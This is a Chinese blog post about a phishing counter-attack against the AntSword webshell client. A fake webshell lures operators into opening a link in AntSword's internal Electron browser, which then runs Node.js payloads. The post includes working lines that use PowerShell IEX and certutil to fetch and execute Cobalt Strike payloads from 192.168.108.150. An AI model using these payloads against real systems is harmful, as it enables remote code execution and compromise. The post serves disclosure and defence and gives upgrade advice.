首页 > 其他分享 >利用蚁剑钓鱼上线CS

利用蚁剑钓鱼上线CS

时间:2024-01-03 17:37:28浏览次数:32  
标签:webshell 上线 钓鱼 js exe CS 红队 页面

前言

中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件)

关键实现

蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换(字体会变蓝,表示处于超链接的状态),并且这个链接点开时所打开的页面是以蚁剑内部的浏览器进行打开的(最新版本修复后使用用户自带的浏览器打开),因此这便是我们利用页面执行Node.js来上线CS的好机会!

利用蚁剑钓鱼上线CS_CS

利用蚁剑钓鱼上线CS_中国蚁剑_02

反制复现

环境准备:

利用蚁剑钓鱼上线CS_中国蚁剑_03

想要执行系统命令需要借助页面的加载,此时可以制造假的webshell来故意让红队连接,进而一步步引导红队点击恶意链接调用node.js进行命令执行,上钩。

影响的版本:AntSword < =v2.1.14

AntSword下载:https://github.com/AntSwordProject/antSword/releases

开源假webshell:https://github.com/MD-SEC/Anti_AntSword

1、蓝队故意在服务器放置假的webshell进行钓鱼

达到真实的效果可以添加一些提示信息,让红队上钩

<body>
AntSword password admin
</body>
</html>

利用蚁剑钓鱼上线CS_CS_04

利用蚁剑钓鱼上线CS_钓鱼攻击_05

红队需要让其点击的恶意链接(利用蚁剑自带的帮助文档效果最佳)

利用蚁剑钓鱼上线CS_CS_06

在钓鱼的帮助文档的开头插入恶意payload,这里利用powershell一句话上线

<script type="text/javascript">
 require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
</script>

或者下载文件方式上线CS

</script>
<script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>

利用蚁剑钓鱼上线CS_CS_07

注:payload一定要放开头,放后面可能由于html过大导致命令执行失败

帮助网安学习,全套资料S信免费领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

可以自行编写攻击者点击钓鱼链接时的话术

利用蚁剑钓鱼上线CS_钓鱼攻击_08

2、红队开始利用蚁剑进行连接

利用蚁剑钓鱼上线CS_钓鱼攻击_09

模拟红队的文件浏览页面

利用蚁剑钓鱼上线CS_钓鱼攻击_10

利用蚁剑钓鱼上线CS_CS_11

模拟红队的命令行操作回显

利用蚁剑钓鱼上线CS_钓鱼攻击_12

3、开始钓鱼引诱红队

当红队输入没有提前在webshell模拟的命令时,就会回显一开始我们设置的钓鱼话术,引导攻击者点击恶意链接

利用蚁剑钓鱼上线CS_中国蚁剑_13

红队点击恶意链接,出现正常的帮助文档

将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下

利用蚁剑钓鱼上线CS_CS_14

帮助文档由蚁剑内部的浏览器进行解析,该蚁剑浏览器会调用我们钓鱼页面恶意的js进行命令执行,然后上线CS

利用蚁剑钓鱼上线CS_中国蚁剑_15

修复建议

1、升级至 AntSword v2.1.15版本

2、加载链接时候禁止使用内部浏览器打开,使用用户系统的浏览器打开

最后

此蚁剑反制虽然是一个之前曝光的漏洞了,但是基数上还是会有人在使用着存在漏洞的蚁剑版本,对于红队来说能白嫖webshell还是很诱惑的,可玩性也很高。

  

标签:webshell,上线,钓鱼,js,exe,CS,红队,页面
From: https://blog.51cto.com/u_14601424/9087048

相关文章

  • Highchart获取csv数据
    需求:获取html中的csv数据在单独的y轴上应该有2个系列可见。折线图应显示温度图表。使用SVGRenderer添加一个按钮,该按钮将负责在华氏度和摄氏度之间更改温度单位。分析:题目要求获取csv数据,需要两个Y轴,折线图显示温度,在左上角画一个按钮实现温度切换实现:源码:效果图......
  • 爬虫如何使用代理IP通过HTML和CSS采集数据
    前言爬虫是一种自动化工具,用于从互联网上获取数据。代理IP是一种用于隐藏真实IP地址并改变网络请求的方法。在爬虫中使用代理IP可以帮助我们采集大量数据时绕过反爬虫机制,并提高爬取效率。本文将介绍如何使用代理IP通过HTML和CSS采集数据,并提供相关代码示例。1.了解代理IP代理IP是......
  • riak_cs elrang 的s3 存储服务
    riak_cs是riak团队开发的s3兼容存储,基于了riakkv,目前似乎缺少维护了(毕竟已经有不少开源而且更加强大的s3实现了)riak_cs基于erlang开发,对于学习下设计还是比较有帮助的,同时也能学习下erlang项目开发说明当然riak做为一个分布式的no-sql数据库还是最出名的,其他组件似乎使用的人......
  • PACS医学影像系统源码,支持Worklist服务,三维影像后处理和分析功能
    PACS/RIS医学影像存储和传输系统,实现从预约、登记、分诊、排队叫号、检查、诊断阅片、报告发布、自助胶片打印等流程化管理。PACS系统应用在医院影像科时,它直接与CT、MR、ECT、DSA和DR等提供DICOM标准图像的医学设备进行软硬对接。该系统应用在超声、内窥镜、病理等科室时,提供视频......
  • 华为云分布式云原生UCS,助力MetaERP构建企业级高可用分布式业务
    本文分享自华为云社区《华为云分布式云原生UCS,助力MetaERP构建企业级高可用分布式业务》,作者:云容器大未来。▎引言华为云最近成为《ForresterWave™:MulticloudContainerPlatforms,Q42023》报告中唯一入选的中国厂商,市场表现强劲。华为云分布式云原生UCS作为本次参评的关键......
  • Scrum敏捷认证CSM官方认证班Certified ScrumMaster - CSM认证班
    ​课程简介Scrum是目前运用最为广泛的敏捷开发方法,是一个轻量级的项目管理和产品研发管理框架,旨在最短时间内交付最大价值。根据2021年全球敏捷状态报告,Scrum及Scrum衍生方法的应用占比达到81%。在企业的敏捷转型历程中,ScrumMaster是至关重要的一个角色,他们不仅担负着团队教练......
  • ElasticSearch 聚合统计
    聚合统计度量聚合:求字段的平均值,最小值,最大值,总和等桶聚合:将文档分成不同的桶,桶的划分可以根据字段的值,范围,日期间隔管道聚合:在桶聚合的结果上执行进一步计算进行聚合的语法如下{"aggs":{"<agg_name>":{"<agg_type>":{"field":"<field_name>"......
  • ElasticSearch 架构设计
    介绍ElasticSearchMySQLIndexTableDocumentRowFieldColumnMappingSchemaQueryDSLSQLaggregationsgroupby,avg,sumcardinality去重distinctreindex数据迁移ElasticSearch中的一个索引由一个或多个分片组成每个分片包含多个segment(分段)每一个分段都是一个倒排索引节点类型节点类......
  • ElasticSearch 文档操作
    创建文档指定id//无则插入,有则覆盖(覆盖的逻辑是先删除,再插入)PUT/<target>/_doc/<_id>//无则插入,有则覆盖POST/<target>/_doc/<_id>//无则插入,有则报错PUT/<target>/_create/<_id>//无则插入,有则报错POST/<target>/_create/<_id>不指定id//正常插入POST/<ta......
  • ElasticSearch 文本分析
    文本分析的原理分析器类别类别名介绍StandardAnalyzerstandard标准分析器,按照Unicode文本分割算法切分单词,删除大多数标点符号并将单词转为小写形式,支持过滤停用词SimpleAnalyzersimple简单分析器,在非字母的地方把单词切分开并将单词转为小写形式WhitespaceAnalyzerwhitespac......